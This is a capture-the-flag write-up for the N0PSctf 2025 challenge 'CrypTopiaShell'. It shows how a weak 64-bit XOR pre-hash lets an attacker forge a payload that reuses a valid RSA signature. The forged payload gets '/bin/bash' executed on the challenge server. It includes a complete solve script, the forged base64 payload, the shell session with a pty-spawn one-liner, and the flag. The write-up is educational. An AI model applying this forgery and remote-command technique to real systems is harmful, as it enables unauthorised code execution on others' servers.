---
# System prepended metadata

title: N0PSctf 2025 - CrypTopiaShell

---

# N0PSctf 2025 - CrypTopiaShell
**Title:** CrypTopiaShell

**Description:** We just found a breach in CrypTopia servers, and we have a shell access! However, they are using a custom shell to run commands in an authenticated way. We managed to exfiltrate the source code and a sample file, can you find a way to execute commands?? 

Author: [algorab](https://www.linkedin.com/in/thibault-huillet-1706b8217) 

`nc 0.cloud.chals.io 13064`

**Files:** 
- [cryptopiashell.py](https://github.com/xtasy94/CTFW/blob/main/CTF_Files/N0PSctf/cryptopiashell.py)
- [example.ctpsig](https://github.com/xtasy94/CTFW/blob/main/CTF_Files/N0PSctf/example.ctpsig)
## Solution:
### 1. Challenge Overview:
CrypTopiaShell is a custom “signed‐shell” service. When we connect to it via `nc 0.cloud.chals.io 13064`, it expects us to send a Base64‐encoded file in their proprietary “.ctpsig” format. Internally, the server:
1. Checks a fixed magic header (`\x01\x02CrypTopiaSig\x03\x04`).
2. Reads two 6-byte lengths: one for the payload (`data`) and one for the signature.
3. Extracts your command bytes as `self.data`, then the next chunk as `self.signature`.
4. Recomputes a 64-bit “mixing-XOR” of `self.data` (starting from `G = 0x8b6eec60fae5681c` and XOR’ing each byte shifted by `(i % 64)`). Call that final 64-bit value X.
5. Raises X to the secret exponent `K mod P` where `P` is a 2048-bit RSA modulus. If the resulting 256-byte integer matches `self.signature`, it does `os.system(self.data)`. Otherwise, it rejects us with “Invalid signature.”

Because we only see one valid signed example (`example.ctpsig`), we can’t learn `K` or `P` directly. However, the server’s signature‐check depends only on “X = mixing-XOR(G, data)”. As long as we craft a new `data_new` whose 64-bit mixing-XOR equals the example’s 64-bit mixing-XOR, we can reuse the same 256-byte signature and have the server run our chosen command. In short: the vulnerability is that forging a collision on a simple 64-bit XOR hash lets us reuse a valid RSA signature.

### 2. Exploitation:
Below is every step you need to go from “I have `example.ctpsig`” to “I get a shell.”

#### 2.1 Inspect the provided example `.ctpsig`
```bash
└─$ hexdump -C example.ctpsig | head -n 2
00000000  01 02 43 72 79 70 54 6f  70 69 61 53 69 67 03 04  |..CrypTopiaSig..|
00000010  00 00 00 00 00 48 00 00  00 00 01 00 65 63 68 6f  |.....H......echo|
```
 
 1. The first 16 bytes are:
   ```
   01 02 43 72 79 70 54 6f 70 69 61 53 69 67 03 04
   ```
   which is exactly `MAGIC = b"\x01\x02CrypTopiaSig\x03\x04"`.

2. The next 6 bytes (`00 00 00 00 00 48`) decode to `length = 0x48 = 72` bytes. That means `example_data` is 72 bytes long.
3. The next 6 bytes (`00 00 00 00 01 00`) decode to `sig_length = 0x100 = 256`. The signature is 256 bytes.
4. Immediately after those 12 bytes, you see ASCII “echo…”. That means the example payload probably begins with `b"echo ..."`. In other words, the server’s original example was signing something like `echo hello` (or a similar 72-byte string).
So, in code:
```python
raw = open("example.ctpsig", "rb").read()
MAGIC = b"\x01\x02CrypTopiaSig\x03\x04"

length     = int.from_bytes(raw[len(MAGIC):len(MAGIC)+6],   "big")  # = 72
sig_length = int.from_bytes(raw[len(MAGIC)+6:len(MAGIC)+12], "big")  # = 256

example_data      = raw[len(MAGIC)+12 : len(MAGIC)+12 + length]
example_signature = raw[len(MAGIC)+12 + length : len(MAGIC)+12 + length + sig_length]
```

#### 2.2 Recompute the 64-bit “mixing-XOR” of `example_data`
The server builds a 64-bit “hash” of your data by starting with

```python
gen = G = 0x8b6eec60fae5681c
mask = (1 << 64) - 1
```

then looping over every byte in `self.data`:

```python
for i in range(len(self.data)):
    gen = (gen ^ (self.data[i] << (i % gen.bit_length()))) & mask
```

Since `gen.bit_length()` is 64, it’s effectively:

```python
h = G
for i, b in enumerate(self.data):
    h = (h ^ (b << (i % 64))) & mask
H_example = h
```

That final 64-bit integer is what the server raises to `K mod P` to form the 256-byte signature. We call it `H_example`. We compute it exactly:

```python
G    = 0x8b6eec60fae5681c
mask = (1 << 64) - 1

h = G
for i, b in enumerate(example_data):
    h = (h ^ (b << (i % 64))) & mask
H_example = h
print(f"H_example = 0x{H_example:016x}")
```

We do *not* need `K` or `P`. As soon as we know `H_example`, we know that
```
example_signature == (H_example^K mod P).
```

#### 2.3 Choose our new command (`data_base`) and collide on that 64-bit hash
```python
data_base = b"/bin/bash #"
```

The `#` means “ignore everything after this as a comment,” so we can pad the rest of the bytes however we like.

1. Compute its partial hash `X_base`:

   ```python
   X_base = G
   for i, b in enumerate(data_base):
       X_base = (X_base ^ (b << (i % 64))) & mask
   print(f"X_base = 0x{X_base:016x}")
   ```

2. We will insert exactly eight “adjustable” bytes (because 64 bits = 8 bytes) at carefully chosen offsets so each one flips exactly one full byte of the 64-bit state. Specifically, we pick offsets:
   ```python
   i_list = []
   for k in range(8):
       r = 8 * k
       if r >= len(data_base):
           i_k = r
       else:
           i_k = r + 64
       i_list.append(i_k)
   max_i = max(i_list)
   ```

   That way, **`i_list[k] % 64 = 8*k`**, so if we place a byte `b_k` at position `i_list[k]`, it contributes
   
   ```python
   (b_k << (8*k)) & mask
	```

   to the final 64-bit XOR. By choosing `b_k` appropriately, we can force the hash to match `H_example`.
3. Fill every other byte between `len(data_base)` and `max_i` with a constant filler (ASCII `‘A’ = 0x41`), and compute the “filler hash”:

   ```python
   filler = 0x41  # 'A'
   X_filler = 0
   for j in range(len(data_base), max_i + 1):
       if j not in i_list:
           X_filler ^= ((filler << (j % 64))) & mask
   X_filler &= mask
   print(f"X_filler = 0x{X_filler:016x}")
   ```

   Now the partial XOR so far is `X_partial = X_base ^ X_filler`.

4. We want our final 64-bit XOR to be exactly `H_example`. So we need a difference:

   ```python
   D_adjust = (X_base ^ X_filler) ^ H_example
   D_adjust &= mask
   print(f"D_adjust = 0x{D_adjust:016x}")
   ```

   This 64-bit integer `D_adjust` can be split into eight bytes:

   ```python
   b_list = [(D_adjust >> (8*k)) & 0xFF for k in range(8)]
   print(b_list)  # eight bytes, in little-endian order
   ```

   Each `b_list[k]` belongs at offset `i_list[k]`.

5. Build `data_new` of length `max_i + 1`:

   ```python
   data_new = bytearray(max_i + 1)
   for j in range(max_i + 1):
       if j < len(data_base):
           data_new[j] = data_base[j]
       elif j in i_list:
           idx         = i_list.index(j)
           data_new[j] = b_list[idx]
       else:
           data_new[j] = filler
   ```
   
   Sanity-check:

   ```python
   h2 = G
   for i, b in enumerate(data_new):
       h2 = (h2 ^ (b << (i % 64))) & mask
   assert h2 == H_example, "Hash collision failed"
   ```

   Now `data_new` is something like:

   ```
   b"/bin/bash # A A A ... <8 adjust bytes> A A ..."
   ```

   but it has the *exact same* 64-bit XOR as the example payload.
#### 2.4 Forge the `.ctpsig` with the old signature

Since the server only checks “`H(hash(data_new))^K mod P == signature`,” and we have forced `hash(data_new) == H_example`, the **same** `example_signature` is valid for `data_new`.

1. Build a fresh 12-byte header:

   ```python
   new_length = len(data_new)
   header = (
       MAGIC
       + new_length.to_bytes(6, "big")
       + (256).to_bytes(6, "big")
   )
   forged = header + bytes(data_new) + example_signature
   ```

2. Base64 encode it:

   ```python
   from base64 import b64encode
   payload_b64 = b64encode(forged).decode("ascii")
   print(payload_b64)
   ```

3. In your `nc 0.cloud.chals.io 13064` session, we paste this entire Base64 blob and press ENTER. Since the 64 bit XOR matches the example, the server recomputes `H_example^K mod P`, sees it’s the same as `example_signature`, and runs:

   ```python
   os.system(b"/bin/bash # …")
   ```

We now have an interactive Bash shell on the server, like this: 
```bash
└╼$ python3 solve.py
AQJDcnlwVG9waWFTaWcDBAAAAAAASQAAAAABAC9iaW4vYmFzaCAjQUFBQUF2QUFBQUFBQVRBQUFBQUFBpEFBQUFBQUE6QUFBQUFBQWdBQUFBQUFBk0FBQUFBQUHyQUFBQUFBQaWOTRt7qBRxFh5mQyqt6yjkEVcEh3723JyvJs6idzxXA2kZDXoCt63K1r1HDmHFiz7DOYEKAsffzixq4fyhP2bH7v05RGWQmfSIs7im/yEtmqJrgu+OZwTqroHPj3JjyWnxiHRxaOAerDv9DVRZ9w6kIT+Y7EIyIG7Uq7wg2TVyumKPG4ji6KNCEL7GMJfLszZShKMHp0m6Iwmy/PpXswK2YE9lp1N/W1frjezKA1fLB+8yJBoCyXcVKzWyzJ/CDqE0/M+okfS5Ky/QG5Fg9Ipmlreq86fI4juv0sByl6WjL9jKJG0u6E56/c1m9/Fd8Ggj9rZR0tcf0NE1sg/oYlRX
```

```
└╼$ nc 0.cloud.chals.io 13064
Welcome to CrypTopiaShell!
Provide base64 encoded shell commands in the CrypTopiaSig format in order to get them executed.
$ AQJDcnlwVG9waWFTaWcDBAAAAAAASQAAAAABAC9iaW4vYmFzaCAjQUFBQUF2QUFBQUFBQVRBQUFBQUFBpEFBQUFBQUE6QUFBQUFBQWdBQUFBQUFBk0FBQUFBQUHyQUFBQUFBQaWOTRt7qBRxFh5mQyqt6yjkEVcEh3723JyvJs6idzxXA2kZDXoCt63K1r1HDmHFiz7DOYEKAsffzixq4fyhP2bH7v05RGWQmfSIs7im/yEtmqJrgu+OZwTqroHPj3JjyWnxiHRxaOAerDv9DVRZ9w6kIT+Y7EIyIG7Uq7wg2TVyumKPG4ji6KNCEL7GMJfLszZShKMHp0m6Iwmy/PpXswK2YE9lp1N/W1frjezKA1fLB+8yJBoCyXcVKzWyzJ/CDqE0/M+okfS5Ky/QG5Fg9Ipmlreq86fI4juv0sByl6WjL9jKJG0u6E56/c1m9/Fd8Ggj9rZR0tcf0NE1sg/oYlRX
whoami
challenge
```

#### 2.5 Find the flag
With that shell, do:
```bash
ls -la /app
total 16
drwxr-xr-x 1 root root 4096 Apr 27 11:28 .
drwxr-xr-x 1 root root 4096 May 31 10:34 ..
-rw-r--r-- 1 root root   28 Oct 14  2024 .passwd
-rw-r--r-- 1 root root 2889 Oct 16  2024 main.py
cat /app/.passwd
N0PS{d0nT_s1gN_W17h_ChK5uMz}
```

either this, or we can get full shell using this `python3 -c 'import pty; pty.spawn("/bin/bash")'`
```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
ls
challenge@6c084bcafe02:/app$ ls
main.py
challenge@6c084bcafe02:/app$ ls -la
ls -la
total 16
drwxr-xr-x 1 root root 4096 Apr 27 11:28 .
drwxr-xr-x 1 root root 4096 May 31 10:34 ..
-rw-r--r-- 1 root root   28 Oct 14  2024 .passwd
-rw-r--r-- 1 root root 2889 Oct 16  2024 main.py
challenge@6c084bcafe02:/app$ cat .passwd
cat .passwd
N0PS{d0nT_s1gN_W17h_ChK5uMz}
```

```bash
Flag: N0PS{d0nT_s1gN_W17h_ChK5uMz}
```
#### Solve Script:
```python
   #!/usr/bin/env python3
   from base64   import b64encode
   from pathlib  import Path

   # 1) Read example.ctpsig
   raw = Path("example.ctpsig").read_bytes()
   MAGIC = b"\x01\x02CrypTopiaSig\x03\x04"
   length     = int.from_bytes(raw[len(MAGIC):len(MAGIC)+6],   "big")  # = 72
   sig_length = int.from_bytes(raw[len(MAGIC)+6:len(MAGIC)+12], "big")  # = 256
   example_data      = raw[len(MAGIC)+12 : len(MAGIC)+12 + length]
   example_signature = raw[len(MAGIC)+12 + length : len(MAGIC)+12 + length + sig_length]

   # 2) Compute H_example
   G    = 0x8b6eec60fae5681c
   mask = (1 << 64) - 1
   h = G
   for i, b in enumerate(example_data):
       h = (h ^ (b << (i % 64))) & mask
   H_example = h

   # 3) data_base = "/bin/bash #"
   data_base = b"/bin/bash #"
   len_base  = len(data_base)
   X_base = G
   for i, b in enumerate(data_base):
       X_base = (X_base ^ (b << (i % 64))) & mask

   # 4) pick 8 offsets so (offset % 64) = 8*k
   i_list = []
   for k in range(8):
       r = 8*k
       i_list.append(r if r >= len_base else r + 64)
   max_i = max(i_list)

   # 5) filler = 'A' = 0x41
   filler = 0x41
   X_filler = 0
   for j in range(len_base, max_i + 1):
       if j not in i_list:
           X_filler ^= ((filler << (j % 64))) & mask
   X_filler &= mask

   # 6) D_adjust = (X_base ^ X_filler) ^ H_example
   D_adjust = (X_base ^ X_filler) ^ H_example
   D_adjust &= mask
   b_list = [(D_adjust >> (8 * k)) & 0xFF for k in range(8)]

   # 7) Build data_new
   data_new = bytearray(max_i + 1)
   for j in range(max_i + 1):
       if j < len_base:
           data_new[j] = data_base[j]
       elif j in i_list:
           idx = i_list.index(j)
           data_new[j] = b_list[idx]
       else:
           data_new[j] = filler

   # Sanity check
   h2 = G
   for i, b in enumerate(data_new):
       h2 = (h2 ^ (b << (i % 64))) & mask
   assert h2 == H_example

   # 8) Forge .ctpsig (reuse example_signature)
   new_length = len(data_new)
   header = (
       MAGIC
       + new_length.to_bytes(6, "big")
       + sig_length.to_bytes(6, "big")
   )
   forged = header + bytes(data_new) + example_signature
   print(b64encode(forged).decode("ascii"))
```

## Conclusion
In summary, this challenge taught us that:
- Custom “lightweight” hashing is dangerous.
- Signature schemes must sign a full cryptographic digest (and possibly include context/salts).
- When given a sample signed blob, look for easy collision attacks on the pre-hash.  
- Even after “getting a shell,” the flag might hide in a non-standard location—scan application folders and simple “.passwd” files.